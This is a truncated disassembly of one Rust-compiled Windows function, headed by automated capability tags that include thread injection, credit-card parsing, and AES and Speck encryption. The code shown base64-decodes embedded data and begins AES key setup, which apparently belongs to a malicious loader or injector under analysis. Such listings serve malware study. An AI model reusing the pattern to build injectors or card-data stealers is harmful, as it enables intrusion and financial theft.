Function at 0x1400014ff
Capabilities:
Create thread
Decode data using base64 via dword translation table
Encode data using base64
Encrypt data using aes
Encrypt data using speck
Enumerate process modules
Inject thread
Parse credit card information
Reference aes constants

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
mov eax, 0x4cb8
call fcn.14003ddd0
sub rsp, rax
lea rbp, [rsp + 0x80]
movdqa xmmword [rbp + 0x4c20], xmm15
movdqa xmmword [rbp + 0x4c10], xmm14
movdqa xmmword [rbp + 0x4c00], xmm13
movdqa xmmword [rbp + 0x4bf0], xmm12
movdqa xmmword [rbp + 0x4be0], xmm11
movdqa xmmword [rbp + 0x4bd0], xmm10
movdqa xmmword [rbp + 0x4bc0], xmm9
movaps xmmword [rbp + 0x4bb0], xmm8
movdqa xmmword [rbp + 0x4ba0], xmm7
movaps xmmword [rbp + 0x4b90], xmm6
mov qword [rbp + 0x4b88], 0xfffffffffffffffe
mov ecx, 0x351
mov dl, 1
call fcn.14001fd8e
mov qword [rbp + 0x4b78], rax
mov eax, 0x8e
mov qword [rbp + 0x4af8], rax
mov qword [rbp + 0x4b28], rdx
mov qword [rbp + 0x4b20], rdx
xor ecx, ecx
xor eax, eax
mov qword [rbp + 0x4b68], rax
cmp rcx, 0x441
jae 0x140002109
lea rdx, [rcx + 0x20]
mov qword [rbp + 0x4b50], rcx
mov qword [rbp + 0x4b18], rdx
lea r8, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode.rsC:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode_suffix.rs
call fcn.14000bf28
mov qword [rbp + 0x4b48], rax
mov qword [rbp + 0x4b30], rdx
mov rcx, qword [rbp + 0x4b68]
lea rdx, [rcx + 0x1a]
lea rax, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode.rsC:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode_suffix.rs
mov qword [rsp + 0x20], rax
mov r9d, 0x351
mov r8, qword [rbp + 0x4b28]
call fcn.14000ca48
mov qword [rbp + 0x4b58], rax
mov qword [rbp + 0x4b38], rdx
mov rcx, qword [rbp + 0x4b48]
mov rdx, qword [rbp + 0x4b30]
xor r8d, r8d
lea r9, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode.rsC:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode_suffix.rs
call fcn.14000bf4d
mov rsi, rax
mov rdi, rdx
mov rcx, qword [rbp + 0x4b58]
mov rdx, qword [rbp + 0x4b38]
xor r8d, r8d
lea r9, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode.rsC:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode_suffix.rs
call fcn.14000bf4d
test rdi, rdi
je 0x1400044b8
movzx r15d, byte [rsi]
lea rcx, [0x1400428f0]
movzx r8d, byte [r15 + rcx]
cmp r8, 0xff
je 0x1400049dc
cmp rdi, 2
jb 0x1400044cd
movzx r15d, byte [rsi + 1]
lea rcx, [0x1400428f0]
movzx r10d, byte [r15 + rcx]
cmp r10, 0xff
je 0x1400049ef
cmp rdi, 3
jb 0x1400044e4
mov r9, rdx
movzx r15d, byte [rsi + 2]
lea rcx, [0x1400428f0]
movzx edx, byte [r15 + rcx]
cmp rdx, 0xff
je 0x1400049fd
cmp rdi, 4
jb 0x1400044fb
movzx r15d, byte [rsi + 3]
lea rcx, [0x1400428f0]
movzx ebx, byte [r15 + rcx]
cmp rbx, 0xff
je 0x140004a04
cmp rdi, 5
jb 0x140004512
movzx r15d, byte [rsi + 4]
lea rcx, [0x1400428f0]
movzx r14d, byte [r15 + rcx]
cmp r14, 0xff
je 0x140004a0b
cmp rdi, 6
jb 0x140004529
movzx r15d, byte [rsi + 5]
lea rcx, [0x1400428f0]
movzx r12d, byte [r15 + rcx]
cmp r12, 0xff
je 0x140004a12
cmp rdi, 7
jb 0x140004540
mov qword [rbp + 0x4b10], rdx
mov qword [rbp + 0x4b00], r10
mov qword [rbp + 0x4b08], r8
movzx r15d, byte [rsi + 6]
lea rcx, [0x1400428f0]
movzx r13d, byte [r15 + rcx]
cmp r13, 0xff
je 0x140004a19
cmp rdi, 8
jb 0x140004557
movzx r15d, byte [rsi + 7]
lea rcx, [0x1400428f0]
movzx esi, byte [r15 + rcx]
cmp rsi, 0xff
je 0x140004a20
lea rcx, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode.rsC:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode_suffix.rs
mov qword [rsp + 0x20], rcx
xor ecx, ecx
push 8
pop rdx
mov r8, rax
call fcn.14000ca48
mov rcx, qword [rbp + 0x4b08]
shl rcx, 0x3a
mov rdi, qword [rbp + 0x4b00]
shl rdi, 0x34
or rdi, rcx
mov rcx, qword [rbp + 0x4b10]
shl rcx, 0x2e
or rcx, rdi
shl rbx, 0x28
or rbx, rcx
shl r14, 0x22
or r14, rbx
shl r12, 0x1c
or r12, r14
shl r13, 0x16
or r13, r12
shl rsi, 0x10
or rsi, r13
bswap rsi
mov qword [rbp - 0x40], rsi
lea rcx, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode.rsC:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode_suffix.rs
mov qword [rsp + 0x20], rcx
mov rcx, rax
lea r8, [rbp - 0x40]
push 8
pop r9
call fcn.14000c06c
mov rcx, qword [rbp + 0x4b48]
mov rdx, qword [rbp + 0x4b30]
push 8
pop r8
lea r9, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode.rsC:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode_suffix.rs
call fcn.14000bf4d
mov rsi, rax
mov rdi, rdx
mov rcx, qword [rbp + 0x4b58]
mov rdx, qword [rbp + 0x4b38]
push 6
pop r8
lea r9, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode.rsC:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode_suffix.rs
call fcn.14000bf4d
test rdi, rdi
je 0x14000456e
movzx r15d, byte [rsi]
lea rcx, [0x1400428f0]
movzx r8d, byte [r15 + rcx]
cmp r8, 0xff
je 0x140004a3a
cmp rdi, 2
jb 0x140004583
movzx r15d, byte [rsi + 1]
lea rcx, [0x1400428f0]
movzx r10d, byte [r15 + rcx]
cmp r10, 0xff
je 0x140004a45
cmp rdi, 3
jb 0x14000459a
mov r9, rdx
movzx r15d, byte [rsi + 2]
lea rcx, [0x1400428f0]
movzx edx, byte [r15 + rcx]
cmp rdx, 0xff
je 0x140004a49
cmp rdi, 4
jb 0x1400045b1
movzx r15d, byte [rsi + 3]
lea rcx, [0x1400428f0]
movzx ebx, byte [r15 + rcx]
cmp rbx, 0xff
je 0x140004a4d
cmp rdi, 5
jb 0x1400045c8
movzx r15d, byte [rsi + 4]
lea rcx, [0x1400428f0]
movzx r12d, byte [r15 + rcx]
cmp r12, 0xff
je 0x140004a51
cmp rdi, 6
jb 0x1400045df
movzx r15d, byte [rsi + 5]
lea rcx, [0x1400428f0]
movzx r13d, byte [r15 + rcx]
cmp r13, 0xff
je 0x140004a55
cmp rdi, 7
jb 0x1400045f6
mov qword [rbp + 0x4b10], rdx
mov qword [rbp + 0x4b00], r10
mov qword [rbp + 0x4b08], r8
movzx r15d, byte [rsi + 6]
lea rcx, [0x1400428f0]
movzx r14d, byte [r15 + rcx]
cmp r14, 0xff
je 0x140004a59
cmp rdi, 8
jb 0x14000460d
movzx r15d, byte [rsi + 7]
lea rcx, [0x1400428f0]
movzx esi, byte [r15 + rcx]
cmp rsi, 0xff
je 0x140004a5d
lea rcx, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode.rsC:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode_suffix.rs
mov qword [rsp + 0x20], rcx
xor ecx, ecx
push 8
pop rdx
mov r8, rax
call fcn.14000ca48
mov rcx, qword [rbp + 0x4b08]
shl rcx, 0x3a
mov rdi, qword [rbp + 0x4b00]
shl rdi, 0x34
or rdi, rcx
mov rcx, qword [rbp + 0x4b10]
shl rcx, 0x2e
or rcx, rdi
shl rbx, 0x28
or rbx, rcx
shl r12, 0x22
or r12, rbx
shl r13, 0x1c
or r13, r12
shl r14, 0x16
or r14, r13
shl rsi, 0x10
or rsi, r14
bswap rsi
mov qword [rbp - 0x40], rsi
lea rcx, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode.rsC:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode_suffix.rs
mov qword [rsp + 0x20], rcx
mov rcx, rax
lea r8, [rbp - 0x40]
push 8
pop r9
call fcn.14000c06c
mov rcx, qword [rbp + 0x4b48]
mov rdx, qword [rbp + 0x4b30]
push reloc.OLEAUT32.dll_SafeArrayGetDim
pop r8
lea r9, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode.rsC:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode_suffix.rs
call fcn.14000bf4d
mov rsi, rax
mov rdi, rdx
mov rcx, qword [rbp + 0x4b58]
mov rdx, qword [rbp + 0x4b38]
push 0xc
pop r8
lea r9, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode.rsC:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode_suffix.rs
call fcn.14000bf4d
test rdi, rdi
je 0x140004624
movzx r15d, byte [rsi]
lea rcx, [0x1400428f0]
movzx r8d, byte [r15 + rcx]
cmp r8, 0xff
je 0x140004a61
cmp rdi, 2
jb 0x140004639
movzx r15d, byte [rsi + 1]
lea rcx, [0x1400428f0]
movzx r10d, byte [r15 + rcx]
cmp r10, 0xff
je 0x140004a6c
cmp rdi, 3
jb 0x140004650
mov r9, rdx
movzx r15d, byte [rsi + 2]
lea rcx, [0x1400428f0]
movzx edx, byte [r15 + rcx]
cmp rdx, 0xff
je 0x140004a70
cmp rdi, 4
jb 0x140004667
movzx r15d, byte [rsi + 3]
lea rcx, [0x1400428f0]
movzx ebx, byte [r15 + rcx]
cmp rbx, 0xff
je 0x140004a74
cmp rdi, 5
jb 0x14000467e
movzx r15d, byte [rsi + 4]
lea rcx, [0x1400428f0]
movzx r12d, byte [r15 + rcx]
cmp r12, 0xff
je 0x140004a78
cmp rdi, 6
jb 0x140004695
movzx r15d, byte [rsi + 5]
lea rcx, [0x1400428f0]
movzx r13d, byte [r15 + rcx]
cmp r13, 0xff
je 0x140004a7c
cmp rdi, 7
jb 0x1400046ac
mov qword [rbp + 0x4b10], rdx
mov qword [rbp + 0x4b00], r10
mov qword [rbp + 0x4b08], r8
movzx r15d, byte [rsi + 6]
lea rcx, [0x1400428f0]
movzx r14d, byte [r15 + rcx]
cmp r14, 0xff
je 0x140004a80
cmp rdi, 8
jb 0x1400046c3
movzx r15d, byte [rsi + 7]
lea rcx, [0x1400428f0]
movzx esi, byte [r15 + rcx]
cmp rsi, 0xff
je 0x140004a84
lea rcx, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode.rsC:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode_suffix.rs
mov qword [rsp + 0x20], rcx
xor ecx, ecx
push 8
pop rdx
mov r8, rax
call fcn.14000ca48
mov rcx, qword [rbp + 0x4b08]
shl rcx, 0x3a
mov rdi, qword [rbp + 0x4b00]
shl rdi, 0x34
or rdi, rcx
mov rcx, qword [rbp + 0x4b10]
shl rcx, 0x2e
or rcx, rdi
shl rbx, 0x28
or rbx, rcx
shl r12, 0x22
or r12, rbx
shl r13, 0x1c
or r13, r12
shl r14, 0x16
or r14, r13
shl rsi, 0x10
or rsi, r14
bswap rsi
mov qword [rbp - 0x40], rsi
lea rcx, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode.rsC:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode_suffix.rs
mov qword [rsp + 0x20], rcx
mov rcx, rax
lea r8, [rbp - 0x40]
push 8
pop r9
call fcn.14000c06c
mov rcx, qword [rbp + 0x4b48]
mov rdx, qword [rbp + 0x4b30]
push reloc.OLEAUT32.dll_SafeArrayGetElement
pop r8
lea r9, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode.rsC:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode_suffix.rs
call fcn.14000bf4d
mov rsi, rax
mov rdi, rdx
mov rcx, qword [rbp + 0x4b58]
mov rdx, qword [rbp + 0x4b38]
push SafeArrayGetLBound
pop r8
lea r9, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode.rsC:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode_suffix.rs
call fcn.14000bf4d
test rdi, rdi
je 0x1400046da
movzx r15d, byte [rsi]
lea rcx, [0x1400428f0]
movzx r8d, byte [r15 + rcx]
cmp r8, 0xff
je 0x140004a88
cmp rdi, 2
jb 0x1400046ef
movzx r15d, byte [rsi + 1]
lea rcx, [0x1400428f0]
movzx r10d, byte [r15 + rcx]
cmp r10, 0xff
je 0x140004a94
cmp rdi, 3
jb 0x140004706
mov r9, rdx
movzx r15d, byte [rsi + 2]
lea rcx, [0x1400428f0]
movzx edx, byte [r15 + rcx]
cmp rdx, 0xff
je 0x140004a98
cmp rdi, 4
jb 0x14000471d
movzx r15d, byte [rsi + 3]
lea rcx, [0x1400428f0]
movzx ebx, byte [r15 + rcx]
cmp rbx, 0xff
je 0x140004a9c
cmp rdi, 5
jb 0x140004734
movzx r15d, byte [rsi + 4]
lea rcx, [0x1400428f0]
movzx r12d, byte [r15 + rcx]
cmp r12, 0xff
je 0x140004aa0
cmp rdi, 6
jb 0x14000474b
movzx r15d, byte [rsi + 5]
lea rcx, [0x1400428f0]
movzx r13d, byte [r15 + rcx]
cmp r13, 0xff
je 0x140004aa4
cmp rdi, 7
jb 0x140004762
mov qword [rbp + 0x4b58], rdx
mov qword [rbp + 0x4b30], r10
mov qword [rbp + 0x4b48], r8
movzx r15d, byte [rsi + 6]
lea rcx, [0x1400428f0]
movzx r14d, byte [r15 + rcx]
cmp r14, 0xff
je 0x140004aa8
cmp rdi, 8
jb 0x140004779
movzx r15d, byte [rsi + 7]
lea rcx, [0x1400428f0]
movzx esi, byte [r15 + rcx]
cmp rsi, 0xff
je 0x140004aac
lea rcx, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode.rsC:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode_suffix.rs
mov qword [rsp + 0x20], rcx
xor ecx, ecx
push 8
pop rdx
mov r8, rax
call fcn.14000ca48
mov rcx, qword [rbp + 0x4b48]
shl rcx, 0x3a
mov rdi, qword [rbp + 0x4b30]
shl rdi, 0x34
or rdi, rcx
mov rcx, qword [rbp + 0x4b58]
shl rcx, 0x2e
or rcx, rdi
shl rbx, 0x28
or rbx, rcx
shl r12, 0x22
or r12, rbx
shl r13, 0x1c
or r13, r12
shl r14, 0x16
or r14, r13
shl rsi, 0x10
or rsi, r14
bswap rsi
mov qword [rbp - 0x40], rsi
lea rcx, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode.rsC:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode_suffix.rs
mov qword [rsp + 0x20], rcx
mov rcx, rax
lea r8, [rbp - 0x40]
push 8
pop r9
call fcn.14000c06c
add qword [rbp + 0x4b68], 0x18
add qword [rbp + 0x4af8], 0xfffffffffffffffc
add qword [rbp + 0x4b20], 0x18
mov rcx, qword [rbp + 0x4b18]
jmp 0x1400015b9
lea rsi, [rcx + 8]
mov rdx, rsi
lea r8, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode.rsC:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode_suffix.rs
call fcn.14000bf28
mov rbx, rax
mov rdi, rdx
mov rcx, qword [rbp + 0x4b68]
lea rdx, [rcx + 8]
lea rax, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode.rsC:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode_suffix.rs
mov qword [rsp + 0x20], rax
mov r9d, 0x351
mov r8, qword [rbp + 0x4b28]
call fcn.14000ca48
test rdi, rdi
je 0x140004790
mov qword [rbp + 0x4b48], rsi
movzx r15d, byte [rbx]
lea rcx, [0x1400428f0]
movzx r8d, byte [r15 + rcx]
cmp r8, 0xff
je 0x1400049dc
cmp rdi, 2
jb 0x1400047a5
movzx r15d, byte [rbx + 1]
lea rcx, [0x1400428f0]
movzx r10d, byte [r15 + rcx]
cmp r10, 0xff
je 0x1400049ef
cmp rdi, 3
jb 0x1400047bc
mov r9, rdx
movzx r15d, byte [rbx + 2]
lea rcx, [0x1400428f0]
movzx edx, byte [r15 + rcx]
cmp rdx, 0xff
je 0x1400049fd
cmp rdi, 4
jb 0x1400047d3
movzx r15d, byte [rbx + 3]
lea rcx, [0x1400428f0]
movzx esi, byte [r15 + rcx]
cmp rsi, 0xff
je 0x140004a04
cmp rdi, 5
jb 0x1400047ea
movzx r15d, byte [rbx + 4]
lea rcx, [0x1400428f0]
movzx r12d, byte [r15 + rcx]
cmp r12, 0xff
je 0x140004a0b
cmp rdi, 6
jb 0x140004801
movzx r15d, byte [rbx + 5]
lea rcx, [0x1400428f0]
movzx r13d, byte [r15 + rcx]
cmp r13, 0xff
je 0x140004a12
cmp rdi, 7
jb 0x140004818
mov qword [rbp + 0x4b38], rdx
mov qword [rbp + 0x4b58], r10
mov qword [rbp + 0x4b30], r8
movzx r15d, byte [rbx + 6]
lea rcx, [0x1400428f0]
movzx r14d, byte [r15 + rcx]
cmp r14, 0xff
je 0x140004a19
cmp rdi, 8
jb 0x14000482f
movzx r15d, byte [rbx + 7]
lea rcx, [0x1400428f0]
movzx edi, byte [r15 + rcx]
cmp rdi, 0xff
je 0x140004a20
lea rcx, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode.rsC:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode_suffix.rs
mov qword [rsp + 0x20], rcx
xor ecx, ecx
push 8
pop rdx
mov r8, rax
call fcn.14000ca48
mov r15, qword [rbp + 0x4b48]
mov rcx, qword [rbp + 0x4b30]
shl rcx, 0x3a
mov rbx, qword [rbp + 0x4b58]
shl rbx, 0x34
or rbx, rcx
mov rcx, qword [rbp + 0x4b38]
shl rcx, 0x2e
or rcx, rbx
shl rsi, 0x28
or rsi, rcx
shl r12, 0x22
or r12, rsi
shl r13, 0x1c
or r13, r12
shl r14, 0x16
or r14, r13
shl rdi, 0x10
or rdi, r14
bswap rdi
mov qword [rbp - 0x40], rdi
lea rcx, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode.rsC:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode_suffix.rs
mov qword [rsp + 0x20], rcx
mov rcx, rax
lea r8, [rbp - 0x40]
push 8
pop r9
call fcn.14000c06c
add qword [rbp + 0x4b68], 6
dec qword [rbp + 0x4af8]
add qword [rbp + 0x4b20], 6
mov rcx, r15
cmp rcx, 0x458
mov qword [rbp + 0x4b50], rcx
jb 0x140001ec3
push 1
pop rsi
push 6
pop rbx
cmp rsi, qword [rbp + 0x4af8]
jae 0x14000236c
mov edx, 0x46c
lea rcx, [0x140041958]
mov r8, qword [rbp + 0x4b50]
lea r9, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode.rsC:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode_suffix.rs
call fcn.14000bf4d
mov r13, rax
mov rdi, rdx
mov rcx, qword [rbp + 0x4b68]
lea r12, [rcx + 6]
lea rax, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode.rsC:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode_suffix.rs
mov qword [rsp + 0x20], rax
mov r9d, 0x351
mov rdx, r12
mov r8, qword [rbp + 0x4b28]
call fcn.14000ca48
test rdi, rdi
je 0x140004846
movzx r15d, byte [r13]
lea rcx, [0x1400428f0]
movzx r8d, byte [r15 + rcx]
cmp r8, 0xff
je 0x140004b3e
cmp rdi, 2
jb 0x14000485b
movzx r15d, byte [r13 + 1]
lea rcx, [0x1400428f0]
movzx r10d, byte [r15 + rcx]
cmp r10, 0xff
je 0x140004b20
cmp rdi, 3
jb 0x140004872
movzx r15d, byte [r13 + 2]
lea rcx, [0x1400428f0]
movzx r11d, byte [r15 + rcx]
cmp r11, 0xff
je 0x140004b24
cmp rdi, 4
jb 0x140004889
movzx r15d, byte [r13 + 3]
lea rcx, [0x1400428f0]
movzx ecx, byte [r15 + rcx]
cmp rcx, 0xff
je 0x140004b28
cmp rdi, 5
jb 0x1400048a0
mov r14, rdx
movzx r15d, byte [r13 + 4]
lea rdx, [0x1400428f0]
movzx edx, byte [r15 + rdx]
cmp rdx, 0xff
je 0x140004b2c
cmp rdi, 6
jb 0x1400048b7
mov r9, rax
mov qword [rbp + 0x4b68], rsi
mov rax, rbx
movzx r15d, byte [r13 + 5]
lea rsi, [0x1400428f0]
movzx ebx, byte [r15 + rsi]
cmp rbx, 0xff
je 0x140004b30
cmp rdi, 7
jb 0x1400048ce
movzx r15d, byte [r13 + 6]
lea rsi, [0x1400428f0]
movzx esi, byte [r15 + rsi]
cmp rsi, 0xff
je 0x140004b37
cmp rdi, 8
jb 0x1400048e5
movzx r15d, byte [r13 + 7]
lea rdi, [0x1400428f0]
movzx edi, byte [r15 + rdi]
cmp rdi, 0xff
je 0x140004b34
shl r8, 0x3a
shl r10, 0x34
or r10, r8
shl r11, 0x2e
or r11, r10
shl rcx, 0x28
or rcx, r11
shl rdx, 0x22
or rdx, rcx
shl rbx, 0x1c
or rbx, rdx
shl rsi, 0x16
or rsi, rbx
shl rdi, 0x10
or rdi, rsi
bswap rdi
mov qword [rbp - 0x40], rdi
lea rcx, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode.rsC:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode_suffix.rs
mov qword [rsp + 0x20], rcx
xor ecx, ecx
mov rbx, rax
mov rdx, rax
mov r8, r9
mov r9, r14
call fcn.14000ca48
mov rsi, qword [rbp + 0x4b68]
lea rcx, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode.rsC:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode_suffix.rs
mov qword [rsp + 0x20], rcx
mov rcx, rax
lea r8, [rbp - 0x40]
mov r9, rbx
call fcn.14000c06c
inc rsi
add qword [rbp + 0x4b50], 8
add qword [rbp + 0x4b20], 6
mov qword [rbp + 0x4b68], r12
jmp 0x140002123
mov rcx, qword [rbp + 0x4b50]
cmp rcx, 0x46d
jae 0x140004c03
lea rbx, [0x140041958]
add rbx, rcx
xor eax, eax
lea r10, [0x140041dc4]
xor r8d, r8d
xor esi, esi
xor r9d, r9d
xor r11d, r11d
mov rdx, rbx
xor ecx, ecx
cmp rbx, r10
je 0x140002407
movzx r15d, byte [rbx]
cmp r15, 0x3d
jne 0x1400023ca
sub rcx, 1
cmovb rsi, rax
test al, 2
je 0x140004b08
inc rbx
inc rax
jmp 0x1400023a3
test rcx, rcx
jne 0x140004b08
lea rcx, [0x1400428f0]
movzx edi, byte [r15 + rcx]
cmp rdi, 0xff
je 0x140004c3c
inc rbx
inc r9
imul ecx, r9d, 0x3a
shl rdi, cl
inc rax
or r11, rdi
mov rdx, rbx
mov r8d, r15d
jmp 0x1400023a1
lea rax, [0x140041958]
sub eax, edx
add eax, r9d
add eax, 0x46c
test al, 3
jne 0x140004c19
cmp r9, 9
jae 0x140004b6a
mov eax, 0x1dd
bt eax, r9d
jae 0x140004b6a
lea rax, [0x14005a69c]
mov eax, dword [rax + r9*4]
mov rbx, r11
mov ecx, eax
shl rbx, cl
test rbx, rbx
jne 0x140004c24
xor ebx, ebx
push 0x38
pop rdi
cmp ebx, eax
jae 0x1400024a2
mov rsi, qword [rbp + 0x4b68]
cmp rsi, 0x350
ja 0x1400048fc
mov ecx, edi
and cl, 0x38
mov rdx, r11
shr rdx, cl
mov rcx, qword [rbp + 0x4b20]
mov byte [rcx], dl
inc rsi
mov qword [rbp + 0x4b68], rsi
add ebx, 8
add edi, 0xfffffff8
inc rcx
mov qword [rbp + 0x4b20], rcx
jmp 0x14000245a
mov ecx, 0x351
mov rax, qword [rbp + 0x4b68]
cmp rax, rcx
cmovb rcx, rax
mov qword [rbp + 0x4b50], rcx
movdqu xmm0, xmmword [0x140041938]
lea rsi, [rbp + 0x4870]
movdqa xmmword [rsi], xmm0
lea rdi, [rbp + 0x3fc0]
mov r8d, 0xf1
mov rcx, rdi
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov rcx, rsi
mov rdx, rdi
call fcn.14001cc2c
lea rsi, [rbp + 0x43c0]
mov r8d, 0xf1
mov rcx, rsi
xor edx, edx
call sub.VCRUNTIME140.dll_memset
lea rcx, [rbp + 0x4870]
mov rdx, rsi
call fcn.14001cc2c
movzx ecx, byte [rbp + 0x44b0]
shl rcx, 2
xor edx, edx
cmp rdx, rcx
jae 0x1400025e8
cmp rdx, 0x3b
ja 0x140004915
cmp rcx, 0x3c
jae 0x14000492c
mov eax, dword [rbp + rdx*4 + 0x43c0]
mov ebx, dword [rbp + rcx*4 + 0x43c0]
mov dword [rbp + rdx*4 + 0x43c0], ebx
mov dword [rbp + rcx*4 + 0x43c0], eax
lea rax, [rcx + 1]
cmp rax, 0x3c
jae 0x140004940
mov eax, dword [rbp + rdx*4 + 0x43c4]
mov ebx, dword [rbp + rcx*4 + 0x43c4]
mov dword [rbp + rdx*4 + 0x43c4], ebx
mov dword [rbp + rcx*4 + 0x43c4], eax
lea rax, [rcx + 2]
cmp rax, 0x3c
jae 0x140004957
mov eax, dword [rbp + rdx*4 + 0x43c8]
mov ebx, dword [rbp + rcx*4 + 0x43c8]
mov dword [rbp + rdx*4 + 0x43c8], ebx
mov dword [rbp + rcx*4 + 0x43c8], eax
lea rax, [rcx + 3]
cmp rax, 0x3b
